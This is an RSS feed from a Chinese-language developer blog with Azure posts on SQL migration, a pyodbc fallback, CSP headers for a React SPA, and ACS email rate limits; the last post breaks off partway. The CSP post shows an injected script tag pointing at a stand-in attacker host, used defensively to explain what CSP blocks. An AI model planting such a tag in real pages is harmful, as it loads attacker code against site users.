

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>azure &#8211; Max的程式語言筆記</title>
	<atom:link href="https://stackoverflow.max-everyday.com/tag/azure/feed/" rel="self" type="application/rss+xml" />
	<link>https://stackoverflow.max-everyday.com</link>
	<description>我要當一個豬頭，快樂過每一天</description>
	<lastBuildDate>Wed, 17 Jun 2026 02:46:37 +0000</lastBuildDate>
	<language>zh-TW</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://stackoverflow.max-everyday.com/wp-content/uploads/2017/02/max-stackoverflow-256.png</url>
	<title>azure &#8211; Max的程式語言筆記</title>
	<link>https://stackoverflow.max-everyday.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>把本機MSSQL資料庫搬家到雲端</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Wed, 17 Jun 2026 01:52:50 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8552</guid>

					<description><![CDATA[想像一下，你要把家裡一整棟圖書館的書，全部搬到遠...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="559" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-1024x559.jpg" alt="" class="wp-image-8560" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-1024x559.jpg?v=1781664386 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-600x327.jpg?v=1781664386 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean-768x419.jpg?v=1781664386 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql_clean.jpg?v=1781664386 1408w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">想像一下，你要把家裡一整棟圖書館的書，全部搬到遠在天邊的微軟雲端資料庫。如果你用錯方法，就像是用筷子一粒一粒夾米一樣，天黑了都搬不完。</p>



<p class="wp-block-paragraph">以下是常見的幾種搬家方法與速度大比拼：</p>



<h2 class="wp-block-heading">第一名： sqlpackage 工具（ BACPAC 格式）</h2>



<p class="wp-block-paragraph">速度是三顆星！這是官方推薦的最速傳說。它會把你的資料庫打包成一個特製的壓縮檔，然後用高鐵般的速度直接倒進雲端，非常適合追求效率的人。</p>



<h2 class="wp-block-heading">第二名： Python 腳本</h2>



<p class="wp-block-paragraph">速度只有兩顆星。這就像是你雇用了一個排版工人，他必須一頁一頁看懂你的書，再抄寫到雲端上。因為多了解析文字的時間，所以速度慢了一截。</p>



<h2 class="wp-block-heading">第三名： 透過網頁（ Azure Portal ）匯入</h2>



<p class="wp-block-paragraph">速度同樣是兩顆星。這個方法的缺點是，你得先自己把大行李箱扛到雲端的置物櫃放好，雲端系統才肯幫你處理，多了一道手續。</p>



<h2 class="wp-block-heading">第四名： 使用微軟資料庫管理軟體（ SSMS ）直接發佈</h2>



<p class="wp-block-paragraph">速度只有可憐的一顆星。雖然動動滑鼠就能搞定，但它只適合資料量極少、一輩子只想搬一次家的新手。</p>



<p class="wp-block-paragraph">如果你想用最快的第一名方法，只需要簡單的兩個步驟：</p>



<p class="wp-block-paragraph">步驟一：在自己的電腦輸入這行指令，把資料庫打包成一個叫做 portal.bacpac 的行李箱。</p>



<pre class="wp-block-code"><code> sqlpackage /Action:Export `
   /SourceServerName:"10.113.82.1,1733" `
   /SourceDatabaseName:"portal" `
   /SourceUser:"&lt;user&gt;" `
   /SourcePassword:"&lt;pass&gt;" `
   /TargetFile:"portal.bacpac"</code></pre>



<p class="wp-block-paragraph">步驟二：在雲端的虛擬機器上輸入這行指令，把行李箱拆開並倒進雲端資料庫。</p>



<pre class="wp-block-code"><code> sqlpackage /Action:Import \
   /TargetServerName:"itsc-sqlsvr.database.windows.net" \
   /TargetDatabaseName:"portal-stg" \
   /TargetUser:"" \
   /SourceFile:"portal.bacpac" \
   /p:DatabaseEdition=GeneralPurpose \
   /AccessToken:"$(az account get-access-token --resource https://database.windows.net --query accessToken -o tsv)"
</code></pre>



<p class="wp-block-paragraph">最棒的是，第二步在雲端執行時，使用特別的通行證就可以直接開門，連帳號密碼都不用輸入，安全又省事。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/faster-ways-to-migrate-a-local-mssql-database-to-azure-sql/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>📝 【踩雷筆記】第一印象害死人！pyodbc 的 fast_executemany 截斷悲劇（HY000 錯誤）</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/pyodbc-fast_executemany/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/pyodbc-fast_executemany/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 16 Jun 2026 10:43:53 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[Python筆記]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[Python]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8549</guid>

					<description><![CDATA[身為一個每天跟資料庫談戀愛的後端工程師，追求「快...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-1024x572.jpg?v=1781606627" alt="" class="wp-image-8550" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-1024x572.jpg?v=1781606627 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-600x335.jpg?v=1781606627 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean-768x429.jpg?v=1781606627 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/pyodbc-fast_executemany_clean.jpg?v=1781606627 1376w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">身為一個每天跟資料庫談戀愛的後端工程師，追求「快，還要更快」是我們的天性。當我們用 Python 的 <code>pyodbc</code> 連線到 SQL Server / Azure MSSQL 時，通常會興奮地開啟這個加速外掛：</p>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>cursor.fast_executemany = True
</code></pre>



<p class="wp-block-paragraph">「哇！批次寫入速度直線上傳，簡直起飛！」<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph">正當你準備提早下班、開心地去買杯珍奶時，資料庫突然對你吐了一口血：</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code>pyodbc.Error: ('HY000', '[HY000] [Microsoft][ODBC Driver... String data, right truncation ...')</code></p>
</blockquote>



<p class="wp-block-paragraph">原本以為是完美的資料寫入，結果直接死在半路。這到底是怎麼回事？</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 案發現場：為什麼「快」反而出事？</h2>



<p class="wp-block-paragraph">這一切的罪魁禍首，居然是因為 <code>fast_executemany</code> 的「第一印象偏見」。</p>



<p class="wp-block-paragraph">為了追求極致的效能，<code>fast_executemany</code> 在處理一大批資料時，<strong>只會偷偷看第一列（First Row）的資料長度</strong>，然後心裡就默默下了決定：</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">「嗯，第一列的這個字串長度是 10，那我就幫接下來的所有資料都準備 10 個字元的緩衝區（Buffer Size）吧！」</p>
</blockquote>



<p class="wp-block-paragraph">這時候，如果你的第 2 列、第 100 列、或是第 999 列資料裡，藏了一個長度是 25 的超級長字串……</p>



<p class="wp-block-paragraph"><strong>蹦！</strong> 緩衝區塞不下了。</p>



<p class="wp-block-paragraph">SQL Server 的 ODBC 驅動程式就會立刻翻臉，丟出 <code>HY000</code> 截斷錯誤（Truncation Error），然後整批資料就直接報銷。</p>



<p class="wp-block-paragraph">這就像是搬家公司看了一眼你家門口的第一個小紙箱，就決定開一台發財車來，結果後面搬出來的其實是雙門大冰箱一樣荒謬。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 絕妙解法：打不過就加入？不，我們可以「彈性裝死」！</h2>



<p class="wp-block-paragraph">既然這外掛這麼任性，我們該怎麼辦？難道要為了那幾顆老鼠屎，放棄整片 <code>fast_executemany</code> 的效能森林嗎？</p>



<p class="wp-block-paragraph">在這次 Commit 中，展現了一個非常優雅又帶點「渣男哲學」的解法——<strong>自動倒退嚕（Fallback）機制</strong>。</p>



<p class="wp-block-paragraph">直接來看這段神奇的程式碼精髓：</p>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>try:
    # 依然保持樂觀，先用快快的 fast_executemany 塞塞看
    cur.executemany(sql_insert, rows)
except pyodbc.Error as e:
    # 哎呀，被抓到有長字串、被嫌太長（HY000 截斷錯誤）了！
    if "HY000" in str(e) or "truncat" in str(e).lower():
        
        # 【精髓在此】秒關外掛，裝作什麼事都沒發生，用慢速但安全的模式重試這批資料
        cur.fast_executemany = False
        cur.executemany(sql_insert, rows)
        
        # 幫這批長字串擦完屁股後，下批資料我們繼續「開掛」
        cur.fast_executemany = True
    else:
        # 如果是別的錯誤（例如語法錯），那就真的沒救，直接噴錯誤
        raise
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 運作邏輯簡單說：</h3>



<ol start="1" class="wp-block-list">
<li><strong>先開掛衝一波：</strong> 預設繼續用 <code>fast_executemany = True</code>，畢竟 90% 的情況大家都很安全。</li>



<li><strong>遇到挫折就認輸：</strong> 一旦遇到 <code>HY000</code>（字串太長裝不下），立刻把外掛<strong>關掉</strong>（<code>fast_executemany = False</code>）。這時候 <code>pyodbc</code> 就會乖乖地為每一列資料重新計算正確的長度，確保安全寫入。</li>



<li><strong>安全過關後再開掛：</strong> 幫這批比較特別的資料擦完屁股後，下一批資料進來時，再把外掛<strong>重新打開</strong>。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 總結</h2>



<p class="wp-block-paragraph">這個解法厲害的地方在於，你<strong>完全不用在寫入前花費 CPU 效能去檢查每一列字串到底有多長</strong>（這通常很慢），而是採取「做錯再修正」的樂觀策略。</p>



<p class="wp-block-paragraph">既保住了大部份時間的極致高速，又完美的解決了偶發性的字串截斷地雷。</p>



<p class="wp-block-paragraph">下次用 Python 倒資料到 MSSQL 遇到 <code>HY000</code> 嗎？不妨也試試看這種「彈性裝死」的 Fallback 機制吧！</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/pyodbc-fast_executemany/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>在 Azure 環境中為 SPA 加上 Content Security Policy（CSP）</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 04:36:08 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8538</guid>

					<description><![CDATA[適用情境：React / Vite 前端 + 任...]]></description>
										<content:encoded><![CDATA[
<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>適用情境</strong>：React / Vite 前端 + 任意後端 + Azure Container Apps + nginx 反向代理</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">一、什麼是 CSP？</h2>



<p class="wp-block-paragraph">Content Security Policy（CSP）是一組 HTTP 回應標頭，讓瀏覽器知道「這個頁面可以載入哪些來源的資源」。它是防禦 Cross-Site Scripting（XSS）與資料注入攻擊的第二道防線。</p>



<p class="wp-block-paragraph">一旦瀏覽器收到 CSP，即使攻擊者成功注入惡意 <code>&lt;script&gt;</code>，瀏覽器也會拒絕執行——因為注入的腳本不符合 CSP 白名單。</p>



<p class="wp-block-paragraph"><strong>CSP 補足了什麼？</strong></p>



<pre class="wp-block-code"><code>&#91;沒有 CSP]
攻擊者注入 &lt;script src="https://evil.com/steal.js"&gt; → 瀏覽器直接執行 ✗

&#91;有 CSP: script-src 'self']
攻擊者注入 &lt;script src="https://evil.com/steal.js"&gt; → 瀏覽器拒絕執行 ✓</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">二、Azure 環境的架構選擇</h2>



<p class="wp-block-paragraph">在 Azure 上，安全標頭可以加在三個層次：</p>



<pre class="wp-block-code"><code>Internet
   │
   ▼
Azure Application Gateway (WAF)
   │  ← 可在此加 HTTP Response Header Rewrite Rules
   ▼
Azure Container Apps (nginx)
   │  ← 可在此加 add_header
   ▼
Go 後端 (middleware)
   │  ← 可在此加 w.Header().Set(...)</code></pre>



<h3 class="wp-block-heading">各層優缺比較</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>層次</th><th>優點</th><th>缺點</th></tr></thead><tbody><tr><td><strong>Application Gateway</strong></td><td>集中管理，不用動 code</td><td>需手動設定 Rewrite Rules，費用較高；Header Rewrite 為付費功能（WAF_v2 SKU）</td></tr><tr><td><strong>nginx（Container 內）</strong></td><td>Infrastructure as Code，版控於 Dockerfile/config</td><td>需要 redeploy container</td></tr><tr><td><strong>Go middleware</strong></td><td>程式碼層級，可針對路由控制</td><td>業務邏輯與安全邏輯混用；API 不需 CSP</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">建議</h3>



<p class="wp-block-paragraph"><strong>對 SPA 網站來說，nginx 是最合適的地方</strong>，原因：</p>



<ol class="wp-block-list">
<li>SPA 的安全標頭只需要加在 HTML 頁面回應，不需要加在 API 回應</li>



<li>nginx 已作為 SPA 的靜態資源伺服器，天然邊界清晰</li>



<li>設定檔進版控，可 review、可追蹤</li>
</ol>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">如果日後 Application Gateway 有設定 Header Rewrite，要記得移除 nginx 這邊的設定，避免同一個 header 重複出現（瀏覽器會套用第一個，但會造成混淆）。</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">三、為 React + Vite SPA 設計 CSP</h2>



<h3 class="wp-block-heading">分析資源來源</h3>



<p class="wp-block-paragraph">在設計 CSP 之前，先盤點頁面實際載入的所有資源：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>資源類型</th><th>來源</th><th>指令</th></tr></thead><tbody><tr><td>JavaScript</td><td>self-hosted（Vite 打包）</td><td><code>script-src 'self'</code></td></tr><tr><td>CSS</td><td>self-hosted（PostCSS 打包）</td><td><code>style-src 'self'</code></td></tr><tr><td>字型</td><td>self-hosted（@fontsource-variable/geist）</td><td><code>font-src 'self'</code></td></tr><tr><td>圖片</td><td>self-hosted；少數可能 data URI</td><td><code>img-src 'self' data:</code></td></tr><tr><td>API 呼叫</td><td>same-origin（nginx proxy 到後端）</td><td><code>connect-src 'self'</code></td></tr><tr><td>iframe</td><td>無</td><td><code>frame-src 'none'</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Mantine UI 的特殊考量</h3>



<p class="wp-block-paragraph">Mantine（React UI library）會透過 <code>MantineProvider</code> 在 DOM 注入一個 <code>&lt;style&gt;</code> 標籤，內容是 CSS 自訂屬性（design token）：</p>



<pre class="wp-block-code"><code>&lt;style&gt;
  :root {
    --mantine-color-blue-9: #1971c2;
    --mantine-font-size-md: 1rem;
    /* ... */
  }
&lt;/style&gt;</code></pre>



<p class="wp-block-paragraph">這個 inline <code>&lt;style&gt;</code> 是 Mantine 的執行時行為，<strong>無法預先計算 hash</strong>（除非用 CSP nonce）。因此 <code>style-src</code> 需要加上 <code>'unsafe-inline'</code>。</p>



<p class="wp-block-paragraph"><strong>這樣安全嗎？</strong> 相對安全。</p>



<ul class="wp-block-list">
<li><code>style-src 'unsafe-inline'</code> 的攻擊面遠小於 <code>script-src 'unsafe-inline'</code></li>



<li>CSS 注入最多能做到 UI 欺騙或 timing attack，無法直接竊取 cookie 或執行任意程式碼</li>



<li>重點是 <code>script-src 'self'</code> 嚴格設定，不允許 inline script 或外部 script</li>
</ul>



<h3 class="wp-block-heading">完整 CSP 設計</h3>



<pre class="wp-block-code"><code>Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';
  object-src 'none'</code></pre>



<h3 class="wp-block-heading">其他安全標頭</h3>



<p class="wp-block-paragraph">除了 CSP，建議同時加上這些標頭：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Header</th><th>值</th><th>用途</th></tr></thead><tbody><tr><td><code>X-Content-Type-Options</code></td><td><code>nosniff</code></td><td>防止瀏覽器做 MIME 嗅探（把 HTML 當 JS 執行）</td></tr><tr><td><code>X-Frame-Options</code></td><td><code>DENY</code></td><td>防 clickjacking（CSP <code>frame-ancestors</code> 的舊瀏覽器 fallback）</td></tr><tr><td><code>Referrer-Policy</code></td><td><code>strict-origin-when-cross-origin</code></td><td>跨站請求不洩露完整 URL path</td></tr><tr><td><code>Permissions-Policy</code></td><td><code>camera=(), microphone=(), geolocation=()</code></td><td>明確關閉不需要的 browser API</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">四、nginx.conf.template 實作</h2>



<p class="wp-block-paragraph">在 nginx <code>server</code> block 層級（非個別 <code>location</code> 內）加上 <code>add_header ... always</code>：</p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name _;

    root /usr/share/nginx/html;
    index index.html;

    # Security headers
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self'; object-src 'none'" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

    # ... 其他設定
}</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong><code>always</code> 參數</strong>：確保即使後端回傳 4xx/5xx，nginx 也會加上這些 headers。沒有 <code>always</code> 的話，錯誤頁面會沒有安全標頭。</p>
</blockquote>



<h3 class="wp-block-heading">要注意的地方</h3>



<ol class="wp-block-list">
<li><strong>不要加在 <code>/api/</code> proxy location 裡</strong>：API 回應不需要 CSP，加了反而讓前端 XHR 請求帶著多餘 header。</li>



<li><strong>避免重複設定</strong>：如果 Application Gateway 已設定 Header Rewrite，nginx 這邊要移除，否則 header 會出現兩次（部分瀏覽器行為不一致）。</li>



<li><strong>HTTPS only 部署才需要 HSTS</strong>：<code>Strict-Transport-Security</code> 只有在全站 HTTPS 時才加；如果有任何 HTTP 存取路徑，HSTS 會造成無法回頭。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">五、上線前驗證</h2>



<h3 class="wp-block-heading">本地驗證</h3>



<p class="wp-block-paragraph">部署後使用 curl 確認標頭存在：</p>



<pre class="wp-block-code"><code>curl -I https://your-app.example.com/ | grep -i "content-security\|x-frame\|x-content\|referrer\|permissions"</code></pre>



<h3 class="wp-block-heading">瀏覽器 DevTools</h3>



<ol class="wp-block-list">
<li>開 DevTools → Network → 選 <code>index.html</code> 請求</li>



<li>查看 Response Headers，確認五個安全標頭都在</li>



<li>開 Console，確認沒有 CSP violation 錯誤（<code>Refused to load ...</code>）</li>
</ol>



<h3 class="wp-block-heading">線上掃描工具</h3>



<ul class="wp-block-list">
<li><a href="https://observatory.mozilla.org/">Mozilla Observatory</a> — 綜合安全標頭評分</li>



<li><a href="https://securityheaders.com/">SecurityHeaders.com</a> — 詳細標頭分析</li>



<li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator（Google）</a> — 評估 CSP 強度</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">六、常見陷阱與排查</h2>



<h3 class="wp-block-heading">問題：Mantine 樣式全部消失</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：<code>style-src</code> 缺少 <code>'unsafe-inline'</code>，Mantine 注入的 <code>&lt;style&gt;</code> block 被拒絕。<br><strong>解法</strong>：加上 <code>'unsafe-inline'</code>。</p>



<h3 class="wp-block-heading">問題：Console 出現 <code>Refused to connect to 'http://...'</code></h3>



<p class="wp-block-paragraph"><strong>原因</strong>：<code>connect-src 'self'</code> 嚴格限制，可能有程式碼直接連外部 API（非透過 nginx proxy）。<br><strong>解法</strong>：找出來源並調整，或暫時在 <code>connect-src</code> 白名單加入該 origin。</p>



<h3 class="wp-block-heading">問題：OAuth redirect 失敗</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：OAuth 流程是瀏覽器 <code>window.location.href</code> 跳轉（navigation），不是 form submit 也不是 XHR，CSP 的 <code>form-action</code> 和 <code>connect-src</code> 都不管這個。<br><strong>結論</strong>：OAuth redirect 不受 CSP 影響，不需要特別處理。</p>



<h3 class="wp-block-heading">問題：第三方 SSO（POST 到 /auth/sso/callback）失敗</h3>



<p class="wp-block-paragraph"><strong>原因</strong>：第三方 SSO 是由外部伺服器 redirect 瀏覽器 POST 到我們的 callback（form submit 跨站）。<br><strong>確認</strong>：這是第三方 SSO 頁面的 <code>form-action</code>，不是我們這邊的 CSP 設定問題。CSP 加在我們頁面的回應，不影響來自其他頁面的 form submit。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">七、結論</h2>



<p class="wp-block-paragraph">對於 Azure 上的 React SPA：</p>



<ol class="wp-block-list">
<li><strong>現在就可以加</strong>：資源全 self-hosted + 無 inline script，加 CSP 的風險很低</li>



<li><strong>加在 nginx</strong>：比 Application Gateway 更容易維護，可版控，redeploy 即生效</li>



<li><strong>接受 <code>style-src 'unsafe-inline'</code></strong>：這是 Mantine 的現實限制，不影響最重要的 script XSS 防護</li>



<li><strong>配套加其他標頭</strong>：<code>X-Content-Type-Options</code>、<code>X-Frame-Options</code>、<code>Referrer-Policy</code>、<code>Permissions-Policy</code> 是低成本高效益的防護</li>



<li><strong>上線後立刻掃描</strong>：用 Mozilla Observatory 驗證，確認等級達到 B 或以上</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><em>場景：Azure Container Apps 上的 React SPA 安全加固</em></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>迎戰 Azure Communication Services (ACS) Email：從快速整合到破解 429 超額地獄</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/azure-communication-services-acs-email-429/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/azure-communication-services-acs-email-429/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Tue, 09 Jun 2026 04:09:58 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8531</guid>

					<description><![CDATA[在現代雲端應用中，自動化發送電子郵件（如：註冊驗...]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">在現代雲端應用中，自動化發送電子郵件（如：註冊驗證、系統通知、狀態更新）是不可或缺的功能。微軟推出的 <strong>Azure Communication Services (ACS)</strong> 提供了一個穩定且高度整合的 Email 解決方案。</p>



<p class="wp-block-paragraph">然而，許多開發者在系統上線、面對批次發送或高並發（High Concurrency）場景時，常會突然撞上一道高牆：<strong><code>ACS email API returned status 429: Too Many Requests</code></strong>。</p>



<p class="wp-block-paragraph">本篇文章將帶您從零開始了解 ACS Email 的佈署步驟，並分享如何透過<strong>三層防禦架構</strong>徹底解決 429 超額問題！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 第一部分：ACS Email 基礎佈署三步驟</h2>



<p class="wp-block-paragraph">要使用 ACS 發送郵件，我們需要完成以下三個核心步驟：</p>



<h3 class="wp-block-heading">1. 建立資源與網域</h3>



<ul class="wp-block-list">
<li><strong>Azure Managed Domain（預設）</strong>：適合測試。系統會配發一組 <code>.azurecomm.net</code> 結尾的隨機網域。它的限制非常嚴格（5 封/分、10 封/小時），且無法申請提升。</li>



<li><strong>Custom Domain（自訂網域）</strong>：生產環境必備。您可以註冊如 <code>notify.yourdomain.com</code> 的子網域。
<ul class="wp-block-list">
<li><em>小提示</em>：建議使用<strong>子網域</strong>，避免影響學校或企業既有的 MX/SPF 設定。</li>



<li>您需要在 DNS 管理員中設定微軟提供的四筆紀錄（包含 <strong>TXT 網域驗證</strong>、兩筆 <strong>CNAME DKIM 驗證</strong>、以及 <strong>SPF 設定</strong>）。</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading">2. 連結 ACS 與 Email 服務</h3>



<p class="wp-block-paragraph">在 Azure Portal 中，將您的 <code>Communication Services</code> 資源與 <code>Email Communication Services</code> 進行連結（Connect domain），讓發信 client 端能正確調用該網域。</p>



<h3 class="wp-block-heading">3. SDK 整合（以 Go 語言為例）</h3>



<p class="wp-block-paragraph">在程式碼中，我們可以透過 Access Key 或 Managed Identity (MSI) 來初始化 ACS Client，並調用發信 API。當有多位收件人時，ACS 支援將多個 Email 放入 <code>To</code> 欄位陣列中一次送出。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" alt="⚡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 第二部分：為什麼會遇到 429 錯誤？</h2>



<p class="wp-block-paragraph">當系統有多個異步任務（例如多個 Goroutines 或背景 Worker）同時觸發發信邏輯時，瞬間發出的 HTTP 請求會遠遠超過 Azure 網域的每分鐘速率上限。</p>



<ul class="wp-block-list">
<li><strong>Managed Domain</strong>：上限 <strong>5 封/分</strong>。</li>



<li><strong>Custom Domain</strong>：預設上限 <strong>30 封/分</strong>。</li>
</ul>



<p class="wp-block-paragraph">一旦超過，ACS 就會毫不留情地回傳 <strong>HTTP 429</strong>。如果此時程式直接報錯丟棄，就會導致使用者收不到重要通知。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 第三部分：完美修復 ACS 429 的「三層防禦機制」</h2>



<p class="wp-block-paragraph">為了確保信件 100% 送達，且系統不會因為並發而崩潰，建議在後端架構中實作以下<strong>三層防禦</strong>：</p>



<pre class="wp-block-code"><code>發送郵件請求 (多個 Goroutines 並發)
       │
       ▼
 ┌───────────┐
 │  Layer 2  │ ──► Client-side Rate Limiter (主動排隊，例如限制 24 封/分)
 └───────────┘
       │
       ▼
 ┌───────────┐
 │  API 發送 │ ──► HTTP POST 到 Azure ACS
 └───────────┘
       │
       ├─ &#91;202 Accepted] ──► &#x2705; 成功送出
       │
       └─ &#91;429 Too Many Requests] 
